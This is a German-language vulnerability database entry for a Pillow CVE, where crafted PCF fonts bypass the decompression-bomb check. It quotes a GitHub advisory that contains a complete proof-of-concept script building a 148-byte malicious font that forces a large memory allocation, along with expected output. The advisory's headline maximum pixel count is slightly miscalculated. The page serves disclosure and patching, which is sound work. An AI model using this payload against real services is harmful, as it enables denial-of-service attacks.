CVE-2026-54059
highPriorität · verfolgen · 0EPSS 0.004 · 35. PerzentilDEEUFRRUUSEPSS · bewertet 2026-10-27
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.9–7.5
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (36)
Betroffene Produkte und Versionsbereiche.
Advisories (5)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2301Red Hat Enterprise Linux (python-pillow): Mehrere Schwachstellen ermöglichen Denial of ServiceDeutsch2026-07-13csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux bzgl. python-pillow ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-8v84-f9pq-wr9xPillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading2026-07-20ghsa · osvUS
## Description `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values: ``` xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ``` Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**. **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):** ```python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! ) ``` `Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths: - **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently - **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"*128, *enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) * 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[*] PCF file size : {len(pcf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024**2:.2f} MB") print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception ``` **Amplification table:** | PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed | ## Impact - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file - **Confidentiality**: None - **Integrity**: None - Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07
- BIT-pillow-2026-54059Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading2026-07-08vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.
- CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
- PYSEC-2026-22532026-07-06vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.
auch bekannt als (9)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (9)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstcnnvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77dcnnvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9xcnnvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstenisa_euvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77denisa_euvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9xenisa_euvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstRelease Notesnvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77dPatchnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan